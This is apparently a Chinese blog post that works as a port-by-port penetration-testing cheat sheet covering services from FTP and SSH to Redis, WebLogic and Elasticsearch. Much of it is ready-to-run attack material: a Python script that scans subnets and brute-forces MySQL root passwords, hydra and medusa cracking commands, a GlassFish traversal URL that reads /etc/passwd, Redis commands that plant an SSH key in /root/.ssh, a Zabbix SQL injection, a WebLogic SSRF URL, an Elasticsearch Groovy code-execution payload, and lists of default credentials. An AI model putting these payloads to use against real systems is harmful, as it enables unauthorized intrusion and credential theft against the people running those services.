常见端口漏洞

常见端口及测试方法小结

端口是设备与外界通讯交流的出口。端口是通过端口号来标记的,端口号只有整数,范围是从0 到65535。

端口渗透过程中我们需要关注几个问题:

1、 端口的banner信息

2、 端口上运行的服务

3、 常见应用的默认端口

公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;

注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;

动态/私有:49152-65535,不为服务分配这些端口;

针对不同的端口进行不同的安全测试,本文的主要内容是关于常见端口安全隐患以及测试方法。

常见漏洞类型:

21.FTP (21)

测试内容
爆破:工具hydra,msf…
匿名访问:用户名:anonymous  密码:为空
弱口令:字典

22.SSH (22)

SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议
测试内容
暴力破解,弱口令
相关工具:hydra,msf等

23.Telnet (23)

测试内容
嗅探:此种情况一般发生在局域网;
暴力破解帐号密码,弱口令,空口令

25.SMTP (25)

测试内容
邮件欺骗,转发垃圾邮件
针对不同版本的邮件服务器外部公开的漏洞,可以在各大漏洞数据库查询。

Snmp默认团体名:

相关工具
使用namp脚本:nmap -Pn -sS -p25 --script smtp* -v

53.DNS(53)

默认端口:53
攻击方式:
dns域传输漏洞 dns.py

110.POP3(110)

默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令;邮箱泄露(Github敏感信息泄漏)
可利用一些邮箱爆破脚本

389.LDAP(389)

ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注; 爆破:弱口令

未授权访问:如:ldap://1.1.1.1:389

80.HTTP/HTTPS (80,443)

超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。Web应用程序安全测试,可以参照:web应用测试案例
443端口作为默认https服务端口,较常见的漏洞危害大的就是心脏出血。

445.SMB (445)

SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。
测试内容
网络公开的针对smb协议的漏洞利用,例如ms08-067,ms17-010
相关工具
msf(auxiliary/scanner/smb/smb_version)
nmap脚本:smb-check-vulns 

873.Rsync(873)

Rsync:类UNIX系统下的数据备份工具(remote sync),Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问
nmap 0.0.0.0/24 -p873 --open
root@kali: rsync 127.0.0.1::

1090.RMI (1090)

默认端口:1090、1099、9090
攻击方式:
远程命令执行(java反序列化),dubbo java 反序列

dubbo java 反序列:

1433.MSSQL(1433)

MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台。
测试内容
暴力破解
工具:hydra

1521.Oracle (1521)

Oracle是甲骨文公司的一款关系数据库管理系统。
测试内容
暴力破解
枚举数据库信息
测试工具:msf等

2181.Zookeeper(2181)

zookeeper分布式的,开放源码的分布式应用程序协调服务。
默认端口:2181
未授权访问;
root@kali:~# echo envi |nc 0.0.0.0 2181

2375.Docker(2375)

默认端口:2375
未授权访问;
Ip:2375/version

3306.MYSQL (3306)

MySQL是一个关系型数据库管理系统。
测试内容
暴力破解
爆破工具:hydra,python,
hydra.exe -L c:user.txt -P c:pass.txt ip mysql

#!/usr/bin/env python

import threading

import argparse

import socket

import Queue

import netaddr

import MySQLdb

import time

import sys

class Mysqlfuzz:

    def __init__(self,addr,tnum):

        self.scanque = Queue.Queue()

        self.tnum = tnum

        self.tmpnum = tnum

        self.lock = threading.Lock()

        self.openlist = []

        if addr.find("-") != -1:

            for ip in netaddr.IPRange(addr.split("-")[0],addr.split("-")[1]):

                self.scanque.put(ip)

        else:

            for ip in netaddr.IPNetwork(addr).iter_hosts():

                self.scanque.put(ip)

        self.qsize = self.scanque.qsize()

        for i in range(tnum):

            t = threading.Thread(target=self.ScanPort)

            t.setDaemon(True)

            t.start()

        while self.tmpnum > 0:

            time.sleep(1.0)

        print "[*]:cracking MySQL Password ..."

        with open("pass.txt","r") as file:

            data = file.readlines()

        for ip in self.openlist:

            for line in data:

                self.scanque.put(line.strip())

            for i in range(tnum):

                t = threading.Thread(target=self.Crack,args=(ip,))

                t.setDaemon(True)

                t.start()

            while self.scanque.qsize() > 0:

                time.sleep(1.0)

 

    def Crack(self,ip):

        while self.scanque.qsize() > 0:

            try:

                password = self.scanque.get()

                conn=MySQLdb.connect(host=ip,user='root',passwd=password,db='test',port=3306,connect_timeout=4)

                self.lock.acquire()

                msg = "[+]:%s Username: root Password is: %s" %(ip,password)

                print msg

                output = open('good.txt', 'a')

                output.write(msg + " ") 

                self.lock.release()

                break

            except:

                pass

 

    def ScanPort(self):

        while self.scanque.qsize() > 0:

            try:

                ip = self.scanque.get()

                s = socket.socket()

                s.settimeout(4)

                s.connect((str(ip), 3306))

                self.lock.acquire()

                print ip," 3306 open"

                self.openlist.append(str(ip))

                self.lock.release()

            except:

                pass

        self.tmpnum -= 1

if __name__ == "__main__":

    parse = argparse.ArgumentParser(description="mysqlfuzz")

    parse.add_argument('-a','--addr', type=str, help="ipaddress")

    parse.add_argument('-t','--thread', type=int, help="Thread Number",default=100)

    args = parse.parse_args()

    if not args.addr:

        parse.print_help()

        sys.exit(0)

    addr = args.addr

    tnum = args.thread

    Mysqlfuzz(addr,tnum)

python mysql.py -a 192.168.1.1/24 -t 30

3389.RDP (3389)

远程桌面协议(RDP)远程桌面登陆服务,默认Windows 3389端口。
测试内容
爆破用户密码
根据网络公开的漏洞exp进行测试如ms12-020,cve-2019-0708
相关工具:hydra,msf
hydra 192.168.1.12 rdp -L users.txt -P pass.txt -V 
ms12-020:

cve-2019-0708:

4848.GlassFish(4848)

默认端口: 4848
攻击方式:
爆破, 认证绕过,弱口令admin:admin

任意文件读取:/etc/passwd
https://ip:4848//theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

5432.PostgreSQL(5432)

PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
弱口令可以用PostgreSQL数据库工具登录.
缓冲区溢出:CVE-2014-2669
工具命令:medusa -H /tmp/ip.txt -u postgres -n 5432 -P /tmp/pass.txt -e ns -M postgres -T 255 -f -O /tmp/good.txt -r 0

5601.Kibana(5601)

默认端口:5601
Ip:5601/app/kibana

5900.VNC(5900)

VNC一款优秀的远控工具。
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破,弱口令,认证口令绕过。
vnc -i IP1.255.255.255 -p 5900 –vnc
也可以用VNC连接工具进行连接

6379Redis(6379)

默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
工具:
https://github.com/caoxinyu/RedisClient
https://github.com/uglide/RedisDesktopManager

在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。
#ssh-keygen –t rsa
#(echo -e " "; cat id_rsa.pu; echo -e " ") > test.txt
#cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
redis-cli -h 0.0.0.0
0.0.0.0:6379> config set dir /root/.ssh/
OK
0.0.0.0:6379> config set dbfilename “test”
OK
0.0.0.0:6379> save
OK

7001.WebLogic(7001)

默认端口:7001
攻击方式:Java反序列化,WEBLOGIC SSRF,WEBLOGIC
CVE-2014-4210,CVE-2016-0638 ,CVE-2016-3510 ,CVE-2017-3248,CVE-2018-2628 ,CVE-2018-2893,CVE-2019-2725,CVE-2019-2729 ,CVE-2018-2894,CVE-2017-3506,CVE-2017-10271
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest
Java反序列化:

WebLogic 反序列化漏洞补丁绕过(CVE-2017-3248)

Weblogic SSRF:
ip:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip:port&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

8080.Resin(8080)

默认端口:8080
攻击方式:
弱口令 admin/admin
/resin-admin/status.php

目录遍历
ip/E:%5C/ & ip/ /web-inf/

文件读取
/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml

Ssrf:/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://10.29.5.24

8069.Zabbix(8069)

zabbix基于Web界面的提供分布式系统监视。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
弱口令;admin/zabbix
ip/zabbix

注入
/zabbix/httpmon.php?applications=2 and (select 1 from (select count(),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

zabbix后台是可以直接执行shell命令的。可反弹shell。

8080.Tomcat(8080)

默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager/html后台)admin/admin tomcat/tomcat admin/null

HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
Tomcat官方安全公告漏洞;如:CVE-2017-12615

8080.Jboss(8080)

默认端口:8080
攻击方式:
爆破,弱口令(爆破jboss系统后台)/admin-console
远程代码执行:配置不当/jmx-consoel /web-console /invoker/JMXInvokerServlet,无密码认证或认证绕过。

Java反序列化:

8080.Jenkins(8080)

默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)admin/admin…
未授权访问:
ip/script 可直接进入无需密码执行命令

反序列化漏洞:网上公开

9090.Websphere(9090)

默认端口:9090;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)admin/admin…
/ibm/console/

任意文件泄漏:(CVE-2014-0823)
Java反序列化;

9200.Elasticsearch(9200)

默认端口:9200、9300 攻击方式:
未授权访问;
ip:9200/_plugin/head/ ip:9200/_search?Preety ip:9200/_cat

远程命令执行;

命令:
查看状态:http:// ip:9200/_status 
集群健康报告:http:// ip:9200/_cluster/health 
集群节点信息:http:// ip:9200/_nodes
http:// ip:9200/_search?pretty
插入数据: 
curl -XPOST http:// ip:9200/test/test/1 -d' 
{"content":"中国好礼物,可惜是xo"} 
当然也可以先创建索引: 
curl -XPUT http://ip:9200/test-test 
查询插入的数据: 
curlhttp://ip:9200/test/test/_search?pretty 
删除索引: 
curl -XDELETE http://ip:9200/test

Elasticsearch Groovy 脚本动态执行漏洞;
POST数据提交:

211.151.7.139:9200/_search?pretty

{"size":1,"script_fields":{"test#": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat/etc/hosts").getInputStream())).readLines()","lang": "groovy"}}}

11211.memcache(11211)

默认端口:11211
未授权访问
nc -vv 127.0.0.1 11211
stats items
stats cachedump 11 11
get admin_user_admin

27017.MongoDB(27017)

MongoDB:NoSQL数据库。
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;

工具: https://robomongo.org/download
127.0.0.1:27017

作者:拾瑾
个性签名:愿历经千帆,归来仍少年.
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利.
原文地址:https://www.cnblogs.com/ayoung/p/15238707.html